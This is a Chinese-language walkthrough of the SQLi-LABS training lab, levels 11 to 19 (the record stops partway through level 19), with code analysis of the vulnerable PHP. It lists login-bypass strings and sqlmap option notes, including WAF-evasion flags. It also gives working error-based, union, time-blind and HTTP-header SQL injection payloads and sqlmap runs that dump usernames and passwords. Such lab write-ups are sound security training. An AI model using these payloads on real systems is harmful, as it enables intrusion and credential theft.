SQLi-LABS靶场Less-11~20解题记录

前言

SQL注入万能密码

'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

sqlmap常用参数

-u #指定一个url连接,url中必须有?xx=xx 才行(最常用的参数)例:-u "www.abc.com/index.php?id=1"
-m #后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。例: -m target.txt
-r #可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标。例: -r post.txt
-g #使用google引擎搜索类似的网址,并且多目标检测。例: -g "inurl:\".php?id=1\"" \是转义
-f, --fingerprint #指纹信息,返回DBMS,操作系统,架构,补丁等信息。
-o #开启下面三项(--predict-output,--keep-alive, --null-connection)
--batch #批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
--answers=ANSWERS #设置问题答案,在刚刚的--batch 可以跳过很多问题,但只是选择默认值,可以使用者个参数对特定问题设定特定答案。例: --answer "extending=N"
--threads 20    #采用多线程
--level=LEVEL #设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,referer; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload
--risk=RISK #风险(1-4,默认1)升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
--forms #在目标URL上解析和测试表单。
--eta #显示每个输出的预计到达时间 。
-D DB #指定从某个数据库查询数据,常用。例: -D admindb
-T TBL #指定从某个表查询数据,常用。例: -T admintable
-C COL #指定从某个列查询数据,常用。例: -C username
-X EXCLUDE #指定数据库的标识符。
--roles #查看一共有哪些角色(权限),直接用--roles
--dbs #目标服务器中有什么数据库,常用,直接用--dbs
--tables #目标数据库有什么表,常用,直接用--tables
--columns #目标表中有什么列,常用,直接用--colums
--schema #目标数据库数据库系统管理模式。
--count #查询结果返回一个数字,即多少个。
--dump #询指定范围的全部数据。例: --dump -D admin -T admin -C username
--dump-all #查询全部数据。例: --dump-all --exclude-sysdbs
--data=DATA #指明参数是哪些。例:-u "www.abc.com/index.php?id=1" --data="name=1&pass=2"
--method=METHOD     #指定是get方法还是post方法。例: --method=GET --method=POST
--proxy=127.0.0.1    #--proxy参数来使用户在进行注入的过程中使用代理
--random-agent     #随机的(自定义)UA,目标网站使用waf,此方法可以绕过根据特征进行防御网站攻击的waf,在level>=3时会检测user-agent注入。
--user-agent="Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)"  #自定义的UA
--delay=DELAY #每次发包的延迟时间,单位为秒,浮点数。例:--delay 2.5 有时候频繁的发包会引起服务器注意,需要使用delay降低发包频率。延时注入,其中2.5是延迟执行sql注入的秒数
--list-tampers   #列出所有sqlmap的tamper脚本以及其对应的描述
--referer=REFERER #指定http包中的refere字段。例: --refere="aaaaa" 在level>=3时才会检测refere注入。使用referer欺骗(–referer “http://www.baidu.com”)
--ignore-code=IG.. #无视http状态码。例: --ignore-code=401
--ignore-proxy #无视本地的代理,有时候机器会有最基本的代理配置,在扫描本地网段的时候会很麻烦,使用这个参数可以忽略代理设置。
--ignore-redirects #无视http重定向,比如登录成功会跳转到其他网页,可使用这个忽略掉。
--ignore-timeouts #略连接超时。
--tamper=TAMPER #使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。
--technique=TECH #指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)
    --time-sec=TIMESEC #在基于时间的盲注的时候,指定判断的时间,单位秒,默认5秒。
    --union-cols=UCOLS #联合查询的尝试列数,随level增加,最多支持50列。例: --union-cols 6-9
    --union-char=UCHAR #联合查询默认使用的占列的是null,有些情况null可能会失效,可以手动指定其他的。例: --union-char 1
    --union-from=UFROM #联合查询从之前的查询结果中选择列,和上面的类似。
    --dns-domain=DNS.. #如果你控制了一台dns服务器,使用这个可以提高效率。例: --dns-domain 123.com
    --second-order=S..#在这个页面注入的结果,在另一个页面显示。例: --second-order 1.1.1.1/b.php

必知知识点

post与get的区别是什么?

  1. get是从服务器上获取数据,post是向服务器传送数据。

  2. GET请求把参数包含在URL中,将请求信息放在URL后面,POST请求通过request body传递参数,将请求信息放置在报文体中。

  3. get传送的数据量较小,不能大于2KB。post传送的数据量较大,一般被默认为不受限制。但理论上,IIS4中最大量为80KB,IIS5中为100KB。

  4. get安全性非常低,get设计成传输数据,一般都在地址栏里面可以看到,post安全性较高,post传递数据比较隐私,所以在地址栏看不到, 如果没有加密,他们安全级别都是一样的,随便一个监听器都可以把所有的数据监听到。

  5. GET请求能够被缓存,GET请求会保存在浏览器的浏览记录中,以GET请求的URL能够保存为浏览器书签,post请求不具有这些功能。

  6. HTTP的底层是TCP/IP,GET和POST的底层也是TCP/IP,也就是说,GET/POST都是TCP链接。GET和POST能做的事情是一样一样的。你要给GET加上request body,给POST带上url参数,技术上是完全行的通的。

  7. GET产生一个TCP数据包,对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据);POST产生两个TCP数据包,对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据),并不是所有浏览器都会在POST中发送两次包,Firefox就只发送一次。

刷题(Less-11~Less20为POST类型)

Less-11(POST - Error Based - Single quotes- string)

image-20211115141658586

基于错误的POST型单引号字符型注入

初步尝试

1.我们发现这一题需要提交两个数据,那么我们先查看下该网页的源代码,看能获得什么信息?

image-20211115145644282

在html部分钟我们了解到这些信息:

1.form表单采用post形式提交

2.服务端接收数据: uname=数据 passwd=数据 ===>推断出 uname=用户名&passwd=密码 ====>又可大致推断数据库的sql语句为

select username,password from users where uname=用户名&passwd

3.type=text 说明是在文本框中都是明文显示。

name 属性规定 input 元素的名称。
name 属性用于对提交到服务器后的表单数据进行标识,或者在客户端通过 JavaScript 引用表单数据。
注释:只有设置了 name 属性的表单元素才能在提交表单时传递它们的值
2.接下来该如何进行注入呢?

在前面几关中,我们正常访问需要 ?id 而这里需要 uname=用户名&passwd=密码:

?id=1 uname=1&passwd=1 uname=1&passwd=1

?id=1' uname=1&passwd=1' ===同理》uname=1'&passwd=1 (注: & 就相当于 and)

?id=1" uname=1&passwd=1" uname=1"&passwd=1
通过对比,可以发现他们都是非常类似的,而且他们又是基于报错的,题目是字符型单引号注入

3.知道了是字符型单引号注入,那么测试一下是不是注入点:
1' or 1=1 -- #

image-20211115150338015

成功登陆,说明这就是一个注入点,后台形成的 sql 语句为

@$sql="SELECT username, password FROM users WHERE username='1' or 1=1 -- # and password='$passwd' LIMIT 0,1";

在#以后的内容就被注释掉,前面的内容因为 or 1=1 恒成立,所以语句就成立,登录成功。
(注:同理@$sql="SELECT username, password FROM users WHERE username=1 and password='1' or 1=1 -- #LIMIT 0,1";结果都是一样的)

方法一:手工注入----extractvalue测试payload

输入admin admin 登陆,抓包,发送到repeater模块

uname=admin' and 1=1 --+ &passwd=admin&submit=Submit //能登陆
uname=admin' and 1=2 --+ &passwd=admin&submit=Submit //不能登陆

image-20211115162920950

说明注入生效,存在报错型注入,接下来又是重复性工作,上extractvalue()

爆库payload

uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit

image-20211115163049209

爆表payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit

image-20211115163135036

爆列名payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit

image-20211115163207880

爆值payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit

image-20211115164001180
使用not in 可以查询其他值

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))--+&passwd=admin&submit=Submit

image-20211115164054295

方法二 联合查询union select测试payload

爆出位置

注意uname是错误的,才能显示联合查询内容。

uname=0' union select 1,2  --+&passwd=admin&submit=Submit

image-20211115161041980
爆库payload

uname=-1' union select 1,database() --+&passwd=admin&submit=Submit

image-20211115161113280
暴表payload

uname=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit

image-20211115161144024
暴字段payload

uname=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&passwd=admin&submit=Submit


暴记录payload

uname=-1' union select 1,group_concat(username,0x3a,password) from users --+&passwd=admin&submit=Submit

image-20211115161754203

方法三:sqlmap工具自动注入

1.由于该题是post注入,所以我们用bp进行抓包并保存到与sqlmap相同的路径之下。

image-20211115164948107
2.利用sqlmap查询注入点

 python sqlmap.py -r less11.txt  --threads=20 --leve=5 --risk=3

接下来

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n

接下来

POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N

image-20211115171108760

3.查询数据库(其实上边已经出来数据库了,这步可以省略)

python sqlmap.py -r less11.txt --batch --threads=20 --leve=5 --risk=3 --dbs

4.查看当前数据库

python sqlmap.py -r less11.txt --batch --threads=20 --leve=5 --risk=3 --dbms=mysql --current-db

image-20211115171504458

5.查看表

 python sqlmap.py -r less11.txt --batch --threads=20 --leve=5 --risk=3 --dbms=mysql -D "security" --tables

image-20211115171428515

6.查看列

python sqlmap.py -r less11.txt --batch --threads=20 --leve=5 --risk=3 --dbms=mysql -D "security" -T "users" --col

image-20211115171401225

7.查看值

python sqlmap.py -r less11.txt --batch --threads=20 --leve=5 --risk=3 --dbms=mysql -D "security" -T "users" -C "password,username" --dump

image-20211115171333048

代码分析

image-20211115144333699

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

提示:在php中 isset() 函数用于检测变量是否已设置并且非 NULL。也就是说如果 uname&passwd如果有一个为 null,将不会执行sql语句。
(还有一点是在输入框中尽量不要用--+,因为+不会进行url编码,因为他不在url地址栏中,可以使用# %23 -- #,当然我这里用的+也没啥问题,但是若是出现了问题,还是将+换一下比较好)

Less-12(POST - Error Based - Double quotes- String - with twist)

基于错误的双引号POST型字符型变形的注入

步骤同Less-11,这里是双引号POST型字符型变形的注入

方法一:手工注入---extractvalue测试payload

判断注入点及闭合方式,

uname=admin' and 1=1 --+ &passwd=admin&submit=Submit  登陆失败

分别尝试将 admin' admin" admin')``admin") 添加到payload中,发现admin")登录成功,说明是字符型注入(初步认定双引号单括号注入)。

image-20211116100617209

爆库payload

uname=admin") and extractvalue(1,concat(0x7e,(select database())))  --+&passwd=admin&submit=Submit

image-20211116100654656

爆表payload

uname=admin")  and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))  --+  &passwd=admin&submit=Submit

image-20211116100800431

爆列payload

uname=admin")  and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))  --+ &passwd=admin&submit=Submit

image-20211116100832807

爆值payload

uname=admin")  and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users)))  --+  &passwd=admin&submit=Submit

image-20211116101019948

使用not in查询没有显示出的其他值

uname=admin")  and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users where username not in ('Dumb','Angelina'))))  --+  &passwd=admin&submit=Submit

image-20211116101156704

方法二 联合查询union select测试payload

爆出位置

uname=0") union select 1,2 --+&passwd=admin&submit=Submit

image-20211116101237886

暴库payload

uname=0") union select 1,database() --+&passwd=admin&submit=Submit

image-20211116101301778

爆表payload

uname=0") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit

image-20211116101325482

暴列payload

uname=0") union select 1, group_concat(column_name) from information_schema.columns where table_name='users' --+&passwd=admin&submit=Submit

image-20211116101356160

暴值payload

uname=0") union select 1, group_concat(username,0x3a,password) from users --+&passwd=admin&submit=Submit

image-20211116101430060

方法三--万能账号Payload

报错的内容为:

可以看出,他在我们输入的哪里多加了一个双引号和括号。

据此构造出万能密码的Payload:

账号:admin")#

密码随意

方法四:sqlmap工具自动注入

1.用bp进行抓包并保存到与sqlmap相同的路径之下。
2.利用sqlmap查询注入点

 python sqlmap.py -r less12.txt  --answers="extending=N" --threads=20 --leve=5 --risk=3

3.查询数据库

 python sqlmap.py -r less12.txt  --batch --threads=20 --leve=5 --risk=3 --dbs

4.查看当前数据库

 python sqlmap.py -r less12.txt --batch --threads=20 --leve=5 --risk=3 --dbms=mysql --current-db

5.查看表

python sqlmap.py -r less12.txt --batch --threads=20 --leve=5 --risk=3 --dbms=mysql --current-db --leve=5 --risk=3 --dbms=mysql -D "security" --tables

6.查看列

python sqlmap.py -r less12.txt --batch --threads=20 --leve=5 --risk=3 --dbms=mysql --current-db --leve=5 --risk=3 --dbms=mysql -D "security" -T "users" --col

7.查看值

python sqlmap.py -r less12.txt --batch --threads=20 --leve=5 --risk=3 --dbms=mysql --current-db --leve=5 --risk=3 --dbms=mysql -D "security" -T "users" -C "password,username" --dump

代码分析

image-20211116103001874

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

Less-13(POST - Double lnjection - Single quotes- string - with twist)

POST单引号变形双注入

步骤同Less-11,这里是双引号POST型字符型变形的注入

方法一:手工注入---extractvalue测试payload

判断注入点及闭合方式,

uname=admin' and 1=1 --+ &passwd=admin&submit=Submit  登陆失败

分别尝试将 admin' admin" admin')``admin") 添加到payload中,发现admin')登录成功,说明是字符型注入(初步认定单引号单括号注入)。

爆表payload

uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and (' &passwd=admin&submit=Submit

或者

uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ &passwd=admin&submit=Submit

暴列payload

uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+ &passwd=admin&submit=Submit

暴值payload

uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+ &passwd=admin&submit=Submit

显示未完全

uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+ &passwd=admin&submit=Submit

方法二:sqlmap工具自动注入

1.用bp进行抓包并保存到与sqlmap相同的路径之下。

2.利用sqlmap查询注入点

 python sqlmap.py -r less13.txt  --answers="extending=N"--leve=5 --risk=3

3.查询数据库

python sqlmap.py -r less13.txt --batch --threads=20--leve=5 --risk=3 --dbs

4.查看当前数据库

python sqlmap.py -r less13.txt --batch --threads=20 --leve=5 --risk=3 --dbms=mysql --current-db

5.查看表

 python sqlmap.py -r less13.txt --batch --threads=20 --leve=5 --risk=3 --dbms=mysql -D "security" --tables

6.查看列

python sqlmap.py -r less13.txt --batch --threads=20 --leve=5 --risk=3 --dbms=mysql -D "security" -T "users" --col

7.查看值

python sqlmap.py -r less13.txt --batch --threads=20 --leve=5 --risk=3 --dbms=mysql -D "security" -T "users" -C "password,username" --dump

代码分析

image-20211116103638196

@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

Less-14(POST - Double lnjection - Single quotes- string - with twist)

POST - 双注入 - 双引号 - 字符串

方法一:手工注入--报错型

Less-12,这里少了)

暴库payload

uname=admin" and extractvalue(1,concat(0x7e,(select database()))) and " &passwd=admin&submit=Submit

暴表payload

uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and " &passwd=admin&submit=Submit

暴列payload

uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and " &passwd=admin&submit=Submit

暴值payload

uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) and " &passwd=admin&submit=Submit

方法二:sqlmap工具自动注入

1.用bp进行抓包并保存到与sqlmap相同的路径之下。

2.利用sqlmap查询注入点

 python sqlmap.py -r less14.txt --batch --leve=5 --risk=3 --threads=20 

3.查询数据库

python sqlmap.py -r less14.txt --batch --leve=5 --risk=3 --threads=20  --dbs

4.查看当前数据库

python sqlmap.py -r less14.txt --batch --leve=5 --risk=3 --threads=20 --dbms=mysql --current-db

5.查看表

 python sqlmap.py -r less14.txt --batch --leve=5 --risk=3 --threads=20 --dbms=mysql -D "security" --tables

6.查看列

python sqlmap.py -r less14.txt --batch --leve=5 --risk=3 --threads=20 --dbms=mysql -D "security" -T "users" --col

7.查看值

python sqlmap.py -r less14.txt --batch --leve=5 --risk=3 --threads=20 --dbms=mysql -D "security" -T "users" -C "password,username" --dump

代码分析

image-20211116103852009

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

Less-15(POST -Blind-Boolian/time Based - Single quotes)

POST - 盲注 - 基于布尔/时间 - 单引号

方法一:手工注入-时间延迟型

时间延迟测试payload

uname=admin' and sleep(5) --+&passwd=admin&submit=Submit

明显延迟,确定使用延迟注入。

手工延迟注入,最为致命,大概步骤如下。

暴库长度payload

uname=admin' and if(length(database())=8,sleep(3),1) --+&passwd=admin&submit=Submit

暴库payload

uname=admin' and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit

爆表payload

uname=admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',sleep(3),1) --+&passwd=admin&submit=Submit

暴列payload

uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i',sleep(3),1) --+&passwd=admin&submit=Submit

暴值payload

uname=admin' and if(left((select username from users limit 0,1),1)='D',sleep(3),1) --+&passwd=admin&submit=Submit

uname=admin' and if(left((select username from users limit 0,1),4)='Dumb',sleep(3),1) --+&passwd=admin&submit=Submit

方法二:sqlmap工具自动注入

1.用bp进行抓包并保存到与sqlmap相同的路径之下。
2.利用sqlmap查询注入点

python sqlmap.py -r less15.txt --batch --leve=5 --risk=3 --threads=20 --technique=T --time-sec=2

3.查询数据库

 python sqlmap.py -r less15.txt --batch --leve=5 --risk=3 --threads=20 

4.查看当前数据库

 python sqlmap.py -r less15.txt --batch --leve=5 --risk=3 --threads=20  --dbms=mysql --current-db

5.查看表

 python sqlmap.py -r less15.txt --batch --leve=5 --risk=3 --threads=20  --dbms=mysql -D "security" --tables

6.查看列

 python sqlmap.py -r less15.txt --batch --leve=5 --risk=3 --threads=20  --dbms=mysql -D "security" -T "users" --col

7.查看值

 python sqlmap.py -r less15.txt --batch --leve=5 --risk=3 --threads=20  --dbms=mysql -D "security" -T "users" -C "password,username" --dump

代码分析

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

Less-16(POST - Blind-Boolian/Time Based - Double quotes)

POST - 盲注 - 基于布尔/时间 - 双引号 - 小括号

方法一:手工注入--时间延迟验证

uname=admin") and sleep(3) --+&passwd=admin&submit=Submit

明显延迟

暴库长

uname=admin") and if(length(database())=8,sleep(3),1) --+&passwd=admin&submit=Submit

暴库

uname=admin") and if(left((select database()),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit

暴表

uname=admin") and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',sleep(3),1) --+&passwd=admin&submit=Submit

暴字段

uname=admin") and if(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i',sleep(3),1) --+&passwd=admin&submit=Submit

暴值

uname=admin") and if(left((select username from users limit 0,1),1)='D',sleep(3),1) --+&passwd=admin&submit=Submit

方法二:万能账号Payload

万能账号绕过密码验证:admin")#

注入结束。

方法三:sqlmap工具自动注入

1.用bp进行抓包并保存到与sqlmap相同的路径之下。
2.利用sqlmap查询注入点

python sqlmap.py -r less16.txt --batch --leve=5 --risk=3 --threads=20 --technique=T --time-sec=2

3.查询数据库

python sqlmap.py -r less16.txt --batch --leve=5 --risk=3 --threads=20  --dbs

4.查看当前数据库

python sqlmap.py -r less16.txt --batch --leve=5 --risk=3 --threads=20 --dbms=mysql --current-db

5.查看表

python sqlmap.py -r less16.txt --batch --leve=5 --risk=3 --threads=20 --dbms=mysql -D "security" --tables

6.查看列

python sqlmap.py -r less16.txt --batch --leve=5 --risk=3 --threads=20 --dbms=mysql -D "security" -T "users" --col

7.查看值

python sqlmap.py -r less16.txt --batch --leve=5 --risk=3 --threads=20 --dbms=mysql -D "security" -T "users" -C "password,username" --dump

代码分析

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

Less-17(POST - update Query- Error Based - string)

POST - Update语句 - 基于错误 - 字符串

image-20211116144947556

方法一:手工注入-报错型

判断注入点及闭合方式,

uname=admin' and 1=1 --+ &passwd=admin&submit=Submit  登陆失败

分别尝试将 admin' admin" admin')``admin") 添加到,始终无果

页面中的password是个提示,注入点试试passwd

uname=admin&passwd=admin' and 1=1 --+ &submit=Submit  

image-20211116160208983

接下来就简单了

使用updatexml()或extractvaule()
测试version()返回mysql版本

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,version(),0x7e),1)#&submit=Submit
uname=admin&passwd=admin' and extractvalue(1,concat(0x7e,(select version())))#&submit=Submit

image-20211116160342581

爆库payload

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1)# &submit=Submit
uname=admin&passwd=admin' and extractvalue(1,concat(0x7e,(select database())))# &submit=Submit

image-20211116160419650

爆表名payload

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+&submit=Submit
uname=admin&passwd=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#&submit=Submit

image-20211116160450316

爆列名payload

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+&submit=Submit
uname=admin&passwd=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) # &submit=Submit

image-20211116160532769

爆值payload

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ &submit=Submit

image-20211116160606164

发现不行:加一层select嵌套

uname=admin&passwd=admin' and  updatexml(1,concat(0x7e,(select password from (select password from users where username='admin'))),1) --+ &submit=Submit
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from (select password from users where username='Dumb') mingzi ),0x7e),1)#&submit=Submit

image-20211116160805558

需要加个别名
uname=admin&passwd=11'  and  updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit

或者

uname=admin&passwd=11'  and  updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1) test ),0x7e),1) --+&submit=Submit

方法二:sqlmap工具自动注入

1.用bp进行抓包并保存到与sqlmap相同的路径之下。
2.利用sqlmap查询注入点

 python sqlmap.py -r less17.txt --batch --leve=5 --risk=3 --threads=20 --technique=E

3.查询数据库

python sqlmap.py -r less17.txt --batch --leve=5 --risk=3 --threads=20  --dbs

4.查看当前数据库

python sqlmap.py -r less17.txt --batch --leve=5 --risk=3 --threads=20 --dbms=mysql --current-db

5.查看表

 python sqlmap.py -r less17.txt --batch --leve=5 --risk=3 --threads=20 --dbms=mysql -D "security" --tables

6.查看列

python sqlmap.py -r less17.txt --batch --leve=5 --risk=3 --threads=20 --dbms=mysql -D "security" -T "users" --col

7.查看值

python sqlmap.py -r less17.txt --batch --leve=5 --risk=3 --threads=20 --dbms=mysql -D "security" -T "users" -C "password,username" --dump

代码分析

image-20211116144524378

function check_input($value)  //定义一个名为check_input的函数, 并且需要有一个参数, 这个形参就是$value
    {
    if(!empty($value))  //检测这个形参是否为空, 不为空就执行if里面的语句, 为空就执行else里的语句
        {
        // truncation (see comments)
        $value = substr($value,0,15);  //substr()函数, 前面接触过, 就是分割一串字符串的效果, 第二个参数是从第0个字符开始切割, 后面是限制长度为15
        }
        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())  //检测是否开启了魔术引号这个配置, 开启了就返回true, 执行这个if语句中的内容, 关闭的话就返回false
            {
            $value = stripslashes($value);  //去除含有转义符\的字符串
            }

        // Quote if not a number
        if (!ctype_digit($value))  //检测$value是不是纯数字, 如果是纯数字就不执行if语句中的内容
            {
            $value = "'" . mysql_real_escape_string($value) . "'";  //转义SQL语句中使用的字符串中的特殊字符
            }
        
    else //这个else是和最外面的if语句对应的, 就是那个检测是否为空empty()的条件语句
        {
        $value = intval($value);  //intval这个函数就类似于强制转换成int整形的意思, 成功时返回变量的int值 ,比如'-21'转成21, 失败时就会返回0
        }
    return $value;
    }

可以看到
接收到用户POST的uname和passwd后

  • 首先根据uname查询数据库的username和password
  • 若uname存在则用passwd替换password(点题了)
  • 若不存在则显示slap1.jpg
  • 在用户名正确后,页面便能够返回Mysql错误信息

而对输入的用户名uname做了个check_input

  • substr():截取15个字符
  • get_magic_quotes_gpc():

当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1;当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
在magic_quotes_gpc = On的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线

  • stripslashes():删除由 addslashes() 函数添加的反斜杠

  • ctype_digit():判断是不是数字,是数字就返回true,否则返回false

  • mysql_real_escape_string():转义 SQL 语句中使用的字符串中的特殊字符,如\x00\n\r\"\x1a

  • intval():整型转换

Less-18(POST - Header lnjection - Uagent field - Error based)

POST - Header头部注入 - Uagen字段 - 基于错误

方法一:手工注入-报错型

看到user-agent的回显,猜测注入点在user-agnet,可以直接测试

image-20211116162730041

爆库payload

User-Agent: ' and extractvalue(1,concat(0x7e,database())) and '

image-20211116162924253

暴表payload

User-Agent: ' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '

image-20211116163033510暴字段payload

User-Agent: ' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and '

image-20211116163105301暴值payload

User-Agent: ' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) and '

image-20211116163141670
未显示完全

User-Agent: ' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) and '

image-20211116163224993

方法二:sqlmap工具自动注入

  1. 这是一个关于user-agent的注入,首先用bp进行抓包并保存到与sqlmap相同的路径之下。 在第上步保存的txt文件中,user-agent值后面要加上*符号,具体如下
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0*

2.利用sqlmap查询注入点

 python sqlmap.py -r less18.txt --batch --leve=5 --risk=3 --threads=20  --technique=E 

3.查询数据库

 python sqlmap.py -r less18.txt --batch --leve=5 --risk=3 --threads=20  --technique=E --dbs

4.查看当前数据库

 python sqlmap.py -r less18.txt --batch --leve=5 --risk=3 --threads=20  --technique=E --dbms=mysql --current-db

5.查看表

 python sqlmap.py -r less18.txt --batch --leve=5 --risk=3 --threads=20  --technique=E --dbms=mysql -D security --tables

6.查看列

 python sqlmap.py -r less18.txt --batch --leve=5 --risk=3 --threads=20  --technique=E --dbms=mysql -D "security" -T "users" --col

7.查看值

 python sqlmap.py -r less18.txt --batch --leve=5 --risk=3 --threads=20  --technique=E --dbms=mysql -D "security" -T "users" -C "password,username" --dump

扩展:这里除了保存为txt,用*标注user-agent,还可以用--user-agent=AGENT来指定user-agent,或者使用--random-agent使用随机的 HTTP User-Agent

代码分析

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

Less-19(POST - Header lnjection - Referer field - Error based)

POST - Header头部注入 - Referer字段 - 基于错误

image-20211116172606973

方法一:手工注入-报错型

暴库payload

Referer: ' and extractvalue(1,concat(0x7e,database())) and '

image-20211116172700292

暴表

Referer: ' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '

image-20211116172725478

暴字段

Referer: ' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and '

image-20211116172745614

暴值

Referer: ' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) and '

image-20211116172814485

显示未完全

Referer: ' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) and '

image-20211116172839513

方法二:sqlmap工具自动注入

  1. 这是一个关于referer的注入,首先用bp进行抓包并保存到与sqlmap相同的路径之下。
  2. 在第一步保存的txt文件中,referer值后面要加上*符号,具体如下
Referer: http://192.168.74.143/sqli1/Less-19/index.php*

2.利用sqlmap查询注入点

 python sqlmap.py -r test.txt --batch --leve=5 --risk=3 --threads=20 

